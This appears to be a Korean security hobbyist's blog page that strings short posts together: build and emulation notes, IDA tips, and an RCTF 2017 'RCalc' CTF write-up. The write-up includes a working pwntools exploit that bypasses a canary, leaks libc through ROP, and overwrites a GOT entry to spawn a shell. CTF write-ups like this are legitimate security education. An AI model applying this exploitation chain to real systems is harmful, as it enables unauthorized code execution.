Abusing File Structure

자료 2018. 1. 4. 16:38
반응형

Link


호옹

'자료' 카테고리의 다른 글

[Python] Mutation Fuzzer  (0) 2018.05.16
[Library] vcpkg boost 1.66 설치에러 해결방법  (0) 2018.02.01
[C++] Python format 구현  (0) 2017.12.03
[Ubuntu] upgrade시 용량부족으로 인한 문제 해결  (0) 2017.10.12
[Library] vcpkg  (0) 2017.07.26
블로그 이미지

KuroNeko_

KuroNeko

,

[C++] Python format 구현

자료 2017. 12. 3. 02:39
반응형

Python 사용하다가 format이 편해져서 C++에도 있으면 좋겠다 싶어서 만들었습니다.


아래는 소스코드들이예요.




github : https://github.com/Kur0N3k0/util

'자료' 카테고리의 다른 글

[Library] vcpkg boost 1.66 설치에러 해결방법  (0) 2018.02.01
Abusing File Structure  (0) 2018.01.04
[Ubuntu] upgrade시 용량부족으로 인한 문제 해결  (0) 2017.10.12
[Library] vcpkg  (0) 2017.07.26
Windbg 명령어  (0) 2017.01.31
블로그 이미지

KuroNeko_

KuroNeko

,
반응형

dpkg -l linux-* | awk '/^ii/{ print $2}' | grep -v -e `uname -r | cut -f1,2 -d"-"` | grep -e [0-9] | grep -E "(image|headers)" | xargs sudo apt-get -y purge

'자료' 카테고리의 다른 글

Abusing File Structure  (0) 2018.01.04
[C++] Python format 구현  (0) 2017.12.03
[Library] vcpkg  (0) 2017.07.26
Windbg 명령어  (0) 2017.01.31
[펌] 동적 메모리 관리  (0) 2016.12.26
블로그 이미지

KuroNeko_

KuroNeko

,

[IDA] C++ Class 변환

공부 2017. 8. 9. 02:37
반응형

변환 방법


1. vtable을 구조체형식으로 선언


2. constructor에서 사용되는 변수들을 기반으로 class를 구조체형식으로 작성



결과적으로는 아래와 같은 구조를 가짐


struct class1{
	_vtable_class *vtable;
	char dummy[168];
	_DWORD some;
	char dummy2[6];
}

struct _vtable_class
{
  __int64 (__fastcall *f1)();
  __int64 (__fastcall *f2)();
  __int64 (__fastcall *f3)();
  __int64 (__fastcall *f4)();
};


'공부' 카테고리의 다른 글

유저 영역 Stack Canary 분석  (2) 2018.08.16
python AES  (0) 2018.08.10
[QEMU] iptime emulating  (2) 2017.07.26
[how2heap] poison_null_byte  (0) 2017.05.09
64비트 Calling Convention  (0) 2017.05.09
블로그 이미지

KuroNeko_

KuroNeko

,

[QEMU] iptime emulating

공부 2017. 7. 26. 20:04
반응형

힘드렀다


apt-get install qemu-system-mipsel

wget https://people.debian.org/~aurel32/qemu/mipsel/vmlinux-3.2.0-4-4kc-malta

wget https://people.debian.org/~aurel32/qemu/mipsel/debian_wheezy_mipsel_standard.qcow2



qemu-system-mipsel -kernel vmlinux-3.2.0-4-4kc-malta -hda debian_wheezy_mipsel_standard.qcow2 -append "root=/dev/sda1" -nographic -redir tcp:3080::80 -redir tcp:3022::22



cp ./default/* ./tmp/ 


chroot ./ ./bin/sh 


./sbin/httpd


cd /

mkdir /home/httpd/192.168.0.1/sess-bin

cp -r cgibin/* /home/httpd/192.168.0.1/sess-bin/

cp -r cgibin/* /bin/login-cgi

'공부' 카테고리의 다른 글

python AES  (0) 2018.08.10
[IDA] C++ Class 변환  (0) 2017.08.09
[how2heap] poison_null_byte  (0) 2017.05.09
64비트 Calling Convention  (0) 2017.05.09
GCC Stack Boundary  (0) 2017.04.27
블로그 이미지

KuroNeko_

KuroNeko

,

[Library] vcpkg

자료 2017. 7. 26. 02:40
반응형

vcpkg 설치

  1. 소스코드 가져오기

     C:\>git clone https://github.com/Microsoft/vcpkg.git c:\work.vcpkg
     Cloning into 'c:\work.vcpkg'...
     ...
    
  2. 빌드

     C:\work.vcpkg>c:\work.vcpkg\bootstrap-vcpkg.bat
     Microsoft (R) Build Engine version 14.0.25420.1
     ...
    
  3. Visual Studio 연동

     C:\work.vcpkg>vcpkg integrate install
     Applied user-wide integration for this vcpkg root.
    
     All MSBuild C++ projects can now #include any installed libraries.
     Linking will be handled automatically.
     Installing new libraries will make them instantly available.
    
     CMake projects should use -DCMAKE_TOOLCHAIN_FILE=C:/work.vcpkg/scripts/buildsystems/vcpkg.cmake
    
     C:\work.vcpkg>
    
  4. 패키지 설치

     C:\work.vcpkg>vcpkg install boost:x86-windows boost:x86-windows-static boost:x64-windows boost:x64-windows-static
     C:\work.vcpkg>vcpkg install curl:x86-windows curl:x86-windows-static curl:x64-windows curl:x64-windows-static
     C:\work.vcpkg>vcpkg install sqlite3:x86-windows sqlite3:x86-windows-static sqlite3:x64-windows sqlite3:x64-windows-static
     C:\work.vcpkg>vcpkg install jsoncpp:x86-windows jsoncpp:x86-windows-static jsoncpp:x64-windows jsoncpp:x64-windows-static
     C:\work.vcpkg>vcpkg install gtest:x86-windows gtest:x86-windows-static gtest:x64-windows gtest:x64-windows-static


'자료' 카테고리의 다른 글

[C++] Python format 구현  (0) 2017.12.03
[Ubuntu] upgrade시 용량부족으로 인한 문제 해결  (0) 2017.10.12
Windbg 명령어  (0) 2017.01.31
[펌] 동적 메모리 관리  (0) 2016.12.26
[Heap] how2heap (shellpish)  (0) 2016.12.25
블로그 이미지

KuroNeko_

KuroNeko

,
반응형

솔직히 면접 때문에 기대 하지도 않았다.


뭐.. 멘탈이 탈수기에서 탈탈 털리고 수분기가 쫙 빠질 때 쯤,


26일에 발표가 될 줄 알고 한껏 쫄아있었는데 27일 오후 2시에 발표가 된다고 한다.


흠.. 뭐라고 해야하나.. 하루 더 기다린다고 생각하니 좀 그렇더라

(여담이지만, 하루 늦게 발표된게 술드셨다고 하는거 같던ㄷ.. 읍읍!!)


쨌든 결과를 말하자면 합격이다.


크나큰 오예다 오예

블로그 이미지

KuroNeko_

KuroNeko

,

[RCTF 2017] RCalc

Write up/CTF 2017. 5. 22. 01:32
반응형

바이너리


RCalc

libc.so.6



어.. 일단 64bit rop는 처음이였기에 많이 오래걸렸었고.. 대략적인 풀이 방법으로는 아래와 같다.


1. urandom으로 생성된 canary 우회

2. __libc_start_main leak

3. libc.so.6 에서 /bin/sh를 찾아보면 자동으로 execve를 호출해주는 것을 확인

4. __libc_start_main - __libc_start_main_offset + execve_offset 을 통해 최종 목적 주소를 구함

5. got overwrite를 통한 execve호출

6. 플래그 확인



자세하게 설명하도록 하겠다.


main 함수는 아래와 같이 간단하게 시드를 할당 및 초기화 해주는 함수를 호출 후


타임 아웃 시간을 설정하고 계산을 해주는 함수를 호출 한다.





init_seedz 함수를 살펴보도록 하자.



할당된 순서는 c_result, seed, c_result->seed_arr, seed->seed_arr 이므로 만약 우리가 c_result의 seed_arr을 overflow 해줄 수만 있다면


seed->seed_arr을 덮어씌울 수 있을 것이다.




main함수로 돌아와서 calc함수를 살펴보도록 하자.




먼저 randomize를 호출해주는데 이는 위와 같이 처음에 seed를 urandom에서 불러와 값을 저장해주는 것을 볼 수 있다.


이 값이 나중에 get_current_seed 함수를 통해 불러와지게 되고 스택에 저장됐던 값과 비교를 통해 함수가 정상 반환될 지 결정한다.


scanf를 통해서 bof가 충분히 가능하고 scanf의 특성상 공백 문자전까지만 받아 올 수 있다는 것만 기억해두고


execute_calculator함수를 살펴보자.






간단하게 숫자 2개를 입력받아서 add, sub, mod, mul을 해준 뒤 결과값을 받아와 c_result->seed_arr[c_result->cnt++]에 저장해준다.


c_result와 seed를 덤프해보면 각각의 seed_arr의 차이가 0x110 바이트 차이가 난다.


그 공간에 8바이트의 결과값들을 저장해주는데 우리가 넣은 숫자 두개의 계산 결과가 c_result에 저장되기때문에


0x110 / 8번을 반복해서 넣어주면 정확하게 c_result->seed_arr보다 뒤에 있는 seed->seed_arr[0]에 덮어씌워진다.


이를 통해 randomize() ~ get_current_seed() 함수들을 우회가능해졌다.



그럼 Got Overwrite하기 위해서는 libc.so.6 의 함수중 하나의 주소를 알아야 offset을 통해 우리가 원하는 함수를 호출해 줄 수 있는데,

함수 우회도 되겠다.. bof를 통해서 puts나 printf쪽에 pop rdi; ret가젯을 찾아서 함수의 got를 rdi에 셋팅하고 호출해주면 되겠다.

기왕이면 Got Overwrite도 같이 하기 위해서 calc함수 시작의 printf부터 시작하도록 했다.

그렇게 되면 원하는 함수의 주소가 출력되고 그 다음에는 scanf가 있으니 rbp에 bss의 주소를 넣어주고

그에 따른 offset계산을 통해 우리가 원하는 값을 입력이 된다. (일석이조)

저는 fread_got를 잡았고 execve('/bin/sh')의 주소로 쓰면 된다.

그럼 바로 randomize함수에서 트리거가 되어 쉘이 따진다.


밑에 소스가 익스 코드임.


from pwn import * con = remote("rcalc.2017.teamrois.cn", 2333) #con = process("./RCalc/RCalc") libc = ELF("./RCalc/libc.so.6") seed = int("neko".encode("hex"), 16) def start(payload): con.recvuntil("Input your name pls: ") con.sendline(payload) con.recvuntil("Let's try our smart calculator\n") def add(): con.recvuntil("Your choice:") con.sendline("1") print con.recvuntil("input 2 integer: ") con.sendline(str(seed)) con.sendline(str(0x00)) def save(): con.recvuntil("Save the result? ") con.sendline("yes") def end(): con.recvuntil("Your choice:") con.sendline("5") libc_start_main_got = 0x601FF0 main = 0x401036 poprdi_ret = 0x00401123 poprsi_pop_ret = 0x00401121 sub_puts = 0x00400FC2 poprbp_ret = 0x00400970 bss = 0x602138 libc_start_main_offset = libc.symbols['__libc_start_main'] system_offset = 0x4526A print hex(libc_start_main_offset) print hex(system_offset) payload = "" payload += "A" * 0x108 payload += p64(seed) # seed payload += p64(bss) # dummy payload += p64(poprdi_ret) payload += p64(libc_start_main_got) payload += p64(sub_puts) start(payload) for i in range(0x110/8+1): print (i + 1), "Attempt" add() save() print "Get Libc Addr" end() libc_start_main = int(con.recv(8)[::-1].encode("hex"), 16) libc_system = libc_start_main - libc_start_main_offset + system_offset print "__libc_start_main : " + hex(libc_start_main) print "system : " + hex(libc_system) con.sendline(p64(libc_system)) con.interactive()


'Write up > CTF' 카테고리의 다른 글

[defcon26] racewars  (0) 2019.03.25
[Codegate 2019] writeup  (0) 2019.01.29
[Codegate2017 Pre] EasyCrack101  (0) 2017.02.11
[Codegate2017 Pre] BabyMISC  (0) 2017.02.11
[Codegate2017 Pre] BabyPwn  (0) 2017.02.11
블로그 이미지

KuroNeko_

KuroNeko

,